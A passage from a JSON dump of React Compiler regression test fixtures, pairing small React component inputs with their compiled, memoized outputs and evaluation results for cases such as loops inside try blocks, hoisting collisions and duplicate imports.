    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component({data}) {\n  let x = 0;\n  for (const item of data) {\n    const {current, other} = item;\n    x += current;\n    identity(other);\n  }\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      data: [\n        {current: 2, other: 3},\n        {current: 4, other: 5},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { data } = t0;\n  let x = 0;\n  for (const item of data) {\n    const { current, other } = item;\n    x = x + current;\n    identity(other);\n  }\n  let t1;\n  if ($[0] !== x) {\n    t1 = [x];\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      data: [\n        { current: 2, other: 3 },\n        { current: 4, other: 5 },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [6]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component({data}) {\n  let x = 0;\n  for (const item of data) {\n    const {current, other} = item;\n    x += current;\n    identity(other);\n  }\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      data: [\n        {current: 2, other: 3},\n        {current: 4, other: 5},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  try {\n    for (let i = 0; i < 2; i++) {}\n  } catch {}\n  return <span>ok</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  try {\n    for (let i = 0; i < 2; i++) {}\n  } catch {}\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <span>ok</span>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>ok</span>\n<span>ok</span>\n<span>ok</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.js",
    "content": "function Foo() {\n  try {\n    for (let i = 0; i < 2; i++) {}\n  } catch {}\n  return <span>ok</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  sequentialRenders: [{}, {}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction Component() {\n  const dispatch = useDispatch();\n  // const [state, setState] = useState(0);\n\n  return (\n    <div>\n      <input\n        type=\"file\"\n        onChange={event => {\n          dispatch(...event.target);\n          event.target.value = '';\n        }}\n      />\n    </div>\n  );\n}\n\nfunction useDispatch() {\n  'use no memo';\n  // skip compilation to make it easier to debug the above function\n  return (...values) => {\n    console.log(...values);\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nfunction Component() {\n  const $ = _c(2);\n  const dispatch = useDispatch();\n  let t0;\n  if ($[0] !== dispatch) {\n    t0 = (\n      <div>\n        <input\n          type=\"file\"\n          onChange={(event) => {\n            dispatch(...event.target);\n            event.target.value = \"\";\n          }}\n        />\n      </div>\n    );\n    $[0] = dispatch;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nfunction useDispatch() {\n  \"use no memo\";\n  // skip compilation to make it easier to debug the above function\n  return (...values) => {\n    console.log(...values);\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><input type=\"file\"></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.js",
    "content": "// @compilationMode:\"infer\"\nfunction Component() {\n  const dispatch = useDispatch();\n  // const [state, setState] = useState(0);\n\n  return (\n    <div>\n      <input\n        type=\"file\"\n        onChange={event => {\n          dispatch(...event.target);\n          event.target.value = '';\n        }}\n      />\n    </div>\n  );\n}\n\nfunction useDispatch() {\n  'use no memo';\n  // skip compilation to make it easier to debug the above function\n  return (...values) => {\n    console.log(...values);\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = [{...props.value}];\n  useEffect(() => {}, []);\n  const onClick = () => {\n    console.log(x.length);\n  };\n  let y;\n  return (\n    <div onClick={onClick}>\n      {x.map(item => {\n        y = item;\n        return <span key={item.id}>{item.text}</span>;\n      })}\n      {mutate(y)}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {id: 0, text: 'Hello!'}}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  const x = [{ ...props.value }];\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useEffect(_temp, t0);\n  const onClick = () => {\n    console.log(x.length);\n  };\n\n  let y;\n\n  const t1 = x.map((item) => {\n    y = item;\n    return <span key={item.id}>{item.text}</span>;\n  });\n  const t2 = mutate(y);\n  let t3;\n  if ($[1] !== onClick || $[2] !== t1 || $[3] !== t2) {\n    t3 = (\n      <div onClick={onClick}>\n        {t1}\n        {t2}\n      </div>\n    );\n    $[1] = onClick;\n    $[2] = t1;\n    $[3] = t2;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: { id: 0, text: \"Hello!\" } }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><span>Hello!</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.js",
    "content": "import {useEffect, useState} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = [{...props.value}];\n  useEffect(() => {}, []);\n  const onClick = () => {\n    console.log(x.length);\n  };\n  let y;\n  return (\n    <div onClick={onClick}>\n      {x.map(item => {\n        y = item;\n        return <span key={item.id}>{item.text}</span>;\n      })}\n      {mutate(y)}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {id: 0, text: 'Hello!'}}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = [{...props.value}];\n  useEffect(() => {}, []);\n  const onClick = () => {\n    console.log(x.length);\n  };\n  let y;\n  return (\n    <div onClick={onClick}>\n      {x.map(item => {\n        item.flag = true;\n        return <span key={item.id}>{item.text}</span>;\n      })}\n      {mutate(y)}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {id: 0, text: 'Hello', flag: false}}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(7);\n  const x = [{ ...props.value }];\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useEffect(_temp, t0);\n  const onClick = () => {\n    console.log(x.length);\n  };\n\n  let y;\n\n  const t1 = x.map(_temp2);\n  let t2;\n  if ($[1] !== y) {\n    t2 = mutate(y);\n    $[1] = y;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  let t3;\n  if ($[3] !== onClick || $[4] !== t1 || $[5] !== t2) {\n    t3 = (\n      <div onClick={onClick}>\n        {t1}\n        {t2}\n      </div>\n    );\n    $[3] = onClick;\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\nfunction _temp2(item) {\n  item.flag = true;\n  return <span key={item.id}>{item.text}</span>;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: { id: 0, text: \"Hello\", flag: false } }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><span>Hello</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.js",
    "content": "import {useEffect, useState} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = [{...props.value}];\n  useEffect(() => {}, []);\n  const onClick = () => {\n    console.log(x.length);\n  };\n  let y;\n  return (\n    <div onClick={onClick}>\n      {x.map(item => {\n        item.flag = true;\n        return <span key={item.id}>{item.text}</span>;\n      })}\n      {mutate(y)}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {id: 0, text: 'Hello', flag: false}}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.expect.md",
    "content": "\n## Input\n\n```javascript\nimport type {SetStateAction, Dispatch} from 'react';\nimport {useState} from 'react';\n\nfunction Component(_props: {}) {\n  const [x, _setX]: [number, Dispatch<SetStateAction<number>>] = useState(0);\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport type { SetStateAction, Dispatch } from \"react\";\nimport { useState } from \"react\";\n\nfunction Component(_props) {\n  const $ = _c(2);\n  const [x] = useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = { x };\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":0}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.ts",
    "content": "import type {SetStateAction, Dispatch} from 'react';\nimport {useState} from 'react';\n\nfunction Component(_props: {}) {\n  const [x, _setX]: [number, Dispatch<SetStateAction<number>>] = useState(0);\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({id}) {\n  const bar = (() => {})();\n\n  return (\n    <>\n      <Stringify title={bar} />\n      <Stringify title={id ? true : false} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { id } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <Stringify title={undefined} />;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const t2 = id ? true : false;\n  let t3;\n  if ($[1] !== t2) {\n    t3 = (\n      <>\n        {t1}\n        <Stringify title={t2} />\n      </>\n    );\n    $[1] = t2;\n    $[2] = t3;\n  } else {\n    t3 = $[2];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{}</div><div>{\"title\":false}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component({id}) {\n  const bar = (() => {})();\n\n  return (\n    <>\n      <Stringify title={bar} />\n      <Stringify title={id ? true : false} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport type {ReactElement} from 'react';\n\nfunction Component(_props: {}): ReactElement {\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport type { ReactElement } from \"react\";\n\nfunction Component(_props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>hello world</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.tsx",
    "content": "import type {ReactElement} from 'react';\n\nfunction Component(_props: {}): ReactElement {\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoFreezingKnownMutableFunctions @enableNewMutationAliasingModel\nimport {useCallback, useEffect, useRef} from 'react';\nimport {useHook} from 'shared-runtime';\n\n// This was a false positive \"can't freeze mutable function\" in the old\n// inference model, fixed in the new inference model.\nfunction Component() {\n  const params = useHook();\n  const update = useCallback(\n    partialParams => {\n      const nextParams = {\n        ...params,\n        ...partialParams,\n      };\n      nextParams.param = 'value';\n      console.log(nextParams);\n    },\n    [params]\n  );\n  const ref = useRef(null);\n  useEffect(() => {\n    if (ref.current === null) {\n      update();\n    }\n  }, [update]);\n\n  return 'ok';\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoFreezingKnownMutableFunctions @enableNewMutationAliasingModel\nimport { useCallback, useEffect, useRef } from \"react\";\nimport { useHook } from \"shared-runtime\";\n\n// This was a false positive \"can't freeze mutable function\" in the old\n// inference model, fixed in the new inference model.\nfunction Component() {\n  const $ = _c(5);\n  const params = useHook();\n  let t0;\n  if ($[0] !== params) {\n    t0 = (partialParams) => {\n      const nextParams = { ...params, ...partialParams };\n      nextParams.param = \"value\";\n      console.log(nextParams);\n    };\n    $[0] = params;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const update = t0;\n\n  const ref = useRef(null);\n  let t1;\n  let t2;\n  if ($[2] !== update) {\n    t1 = () => {\n      if (ref.current === null) {\n        update();\n      }\n    };\n    t2 = [update];\n    $[2] = update;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t1 = $[3];\n    t2 = $[4];\n  }\n  useEffect(t1, t2);\n\n  return \"ok\";\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.js",
    "content": "// @validateNoFreezingKnownMutableFunctions @enableNewMutationAliasingModel\nimport {useCallback, useEffect, useRef} from 'react';\nimport {useHook} from 'shared-runtime';\n\n// This was a false positive \"can't freeze mutable function\" in the old\n// inference model, fixed in the new inference model.\nfunction Component() {\n  const params = useHook();\n  const update = useCallback(\n    partialParams => {\n      const nextParams = {\n        ...params,\n        ...partialParams,\n      };\n      nextParams.param = 'value';\n      console.log(nextParams);\n    },\n    [params]\n  );\n  const ref = useRef(null);\n  useEffect(() => {\n    if (ref.current === null) {\n      update();\n    }\n  }, [update]);\n\n  return 'ok';\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo({obj}) {\n  const keys = [];\n  try {\n    for (const key in obj) {\n      keys.push(key);\n    }\n  } catch (e) {\n    return <span>Error</span>;\n  }\n  return <span>{keys.join(', ')}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{obj: {a: 1, b: 2}}],\n  sequentialRenders: [\n    {obj: {a: 1, b: 2}},\n    {obj: {a: 1, b: 2}},\n    {obj: {x: 'hello', y: 'world'}},\n    {obj: {}},\n    {obj: {single: 'value'}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(t0) {\n  const $ = _c(6);\n  const { obj } = t0;\n  let keys;\n  let t1;\n  if ($[0] !== obj) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      keys = [];\n      try {\n        for (const key in obj) {\n          keys.push(key);\n        }\n      } catch (t2) {\n        let t3;\n        if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t3 = <span>Error</span>;\n          $[3] = t3;\n        } else {\n          t3 = $[3];\n        }\n        t1 = t3;\n        break bb0;\n      }\n    }\n    $[0] = obj;\n    $[1] = keys;\n    $[2] = t1;\n  } else {\n    keys = $[1];\n    t1 = $[2];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  const t2 = keys.join(\", \");\n  let t3;\n  if ($[4] !== t2) {\n    t3 = <span>{t2}</span>;\n    $[4] = t2;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ obj: { a: 1, b: 2 } }],\n  sequentialRenders: [\n    { obj: { a: 1, b: 2 } },\n    { obj: { a: 1, b: 2 } },\n    { obj: { x: \"hello\", y: \"world\" } },\n    { obj: {} },\n    { obj: { single: \"value\" } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>a, b</span>\n<span>a, b</span>\n<span>x, y</span>\n<span></span>\n<span>single</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.js",
    "content": "function Foo({obj}) {\n  const keys = [];\n  try {\n    for (const key in obj) {\n      keys.push(key);\n    }\n  } catch (e) {\n    return <span>Error</span>;\n  }\n  return <span>{keys.join(', ')}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{obj: {a: 1, b: 2}}],\n  sequentialRenders: [\n    {obj: {a: 1, b: 2}},\n    {obj: {a: 1, b: 2}},\n    {obj: {x: 'hello', y: 'world'}},\n    {obj: {}},\n    {obj: {single: 'value'}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo({items}) {\n  const results = [];\n  try {\n    for (let i = 0; i < items.length; i++) {\n      results.push(items[i]);\n    }\n  } catch (e) {\n    return <span>Error</span>;\n  }\n  return <span>{results.join(', ')}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{items: ['a', 'b', 'c']}],\n  sequentialRenders: [\n    {items: ['a', 'b', 'c']},\n    {items: ['a', 'b', 'c']},\n    {items: ['x', 'y']},\n    {items: []},\n    {items: ['single']},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(t0) {\n  const $ = _c(5);\n  const { items } = t0;\n  let results;\n  let t1;\n  if ($[0] !== items) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      results = [];\n      try {\n        for (let i = 0; i < items.length; i++) {\n          results.push(items[i]);\n        }\n      } catch (t2) {\n        t1 = <span>Error</span>;\n        break bb0;\n      }\n    }\n    $[0] = items;\n    $[1] = results;\n    $[2] = t1;\n  } else {\n    results = $[1];\n    t1 = $[2];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  const t2 = results.join(\", \");\n  let t3;\n  if ($[3] !== t2) {\n    t3 = <span>{t2}</span>;\n    $[3] = t2;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ items: [\"a\", \"b\", \"c\"] }],\n  sequentialRenders: [\n    { items: [\"a\", \"b\", \"c\"] },\n    { items: [\"a\", \"b\", \"c\"] },\n    { items: [\"x\", \"y\"] },\n    { items: [] },\n    { items: [\"single\"] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>a, b, c</span>\n<span>a, b, c</span>\n<span>x, y</span>\n<span></span>\n<span>single</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.js",
    "content": "function Foo({items}) {\n  const results = [];\n  try {\n    for (let i = 0; i < items.length; i++) {\n      results.push(items[i]);\n    }\n  } catch (e) {\n    return <span>Error</span>;\n  }\n  return <span>{results.join(', ')}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{items: ['a', 'b', 'c']}],\n  sequentialRenders: [\n    {items: ['a', 'b', 'c']},\n    {items: ['a', 'b', 'c']},\n    {items: ['x', 'y']},\n    {items: []},\n    {items: ['single']},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo({obj}) {\n  const items = [];\n  try {\n    for (const [key, value] of Object.entries(obj)) {\n      items.push(`${key}: ${value}`);\n    }\n  } catch (e) {\n    return <span>Error</span>;\n  }\n  return <span>{items.join(', ')}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{obj: {a: 1, b: 2}}],\n  sequentialRenders: [\n    {obj: {a: 1, b: 2}},\n    {obj: {a: 1, b: 2}},\n    {obj: {x: 'hello', y: 'world'}},\n    {obj: {}},\n    {obj: {single: 'value'}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(t0) {\n  const $ = _c(6);\n  const { obj } = t0;\n  let items;\n  let t1;\n  if ($[0] !== obj) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      items = [];\n      try {\n        for (const [key, value] of Object.entries(obj)) {\n          items.push(`${key}: ${value}`);\n        }\n      } catch (t2) {\n        let t3;\n        if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t3 = <span>Error</span>;\n          $[3] = t3;\n        } else {\n          t3 = $[3];\n        }\n        t1 = t3;\n        break bb0;\n      }\n    }\n    $[0] = obj;\n    $[1] = items;\n    $[2] = t1;\n  } else {\n    items = $[1];\n    t1 = $[2];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  const t2 = items.join(\", \");\n  let t3;\n  if ($[4] !== t2) {\n    t3 = <span>{t2}</span>;\n    $[4] = t2;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ obj: { a: 1, b: 2 } }],\n  sequentialRenders: [\n    { obj: { a: 1, b: 2 } },\n    { obj: { a: 1, b: 2 } },\n    { obj: { x: \"hello\", y: \"world\" } },\n    { obj: {} },\n    { obj: { single: \"value\" } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>a: 1, b: 2</span>\n<span>a: 1, b: 2</span>\n<span>x: hello, y: world</span>\n<span></span>\n<span>single: value</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.js",
    "content": "function Foo({obj}) {\n  const items = [];\n  try {\n    for (const [key, value] of Object.entries(obj)) {\n      items.push(`${key}: ${value}`);\n    }\n  } catch (e) {\n    return <span>Error</span>;\n  }\n  return <span>{items.join(', ')}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{obj: {a: 1, b: 2}}],\n  sequentialRenders: [\n    {obj: {a: 1, b: 2}},\n    {obj: {a: 1, b: 2}},\n    {obj: {x: 'hello', y: 'world'}},\n    {obj: {}},\n    {obj: {single: 'value'}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = props.items.map(x => x);\n  const x = 42;\n  return [x, items];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [0, 42, null, undefined, {object: true}]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.map(_temp);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const items = t0;\n  let t1;\n  if ($[2] !== items) {\n    t1 = [42, items];\n    $[2] = items;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\nfunction _temp(x) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [0, 42, null, undefined, { object: true }] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42,[0,42,null,null,{\"object\":true}]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.js",
    "content": "function Component(props) {\n  const items = props.items.map(x => x);\n  const x = 42;\n  return [x, items];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [0, 42, null, undefined, {object: true}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const wat = () => {\n    const pathname = 'wat';\n    pathname;\n  };\n\n  const pathname = props.wat;\n  const deeplinkItemId = pathname ? props.itemID : null;\n\n  return <button onClick={() => wat()}>{deeplinkItemId}</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{wat: '/dev/null', itemID: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  const wat = _temp;\n\n  const pathname_0 = props.wat;\n  const deeplinkItemId = pathname_0 ? props.itemID : null;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => wat();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== deeplinkItemId) {\n    t1 = <button onClick={t0}>{deeplinkItemId}</button>;\n    $[1] = deeplinkItemId;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ wat: \"/dev/null\", itemID: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <button>42</button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.js",
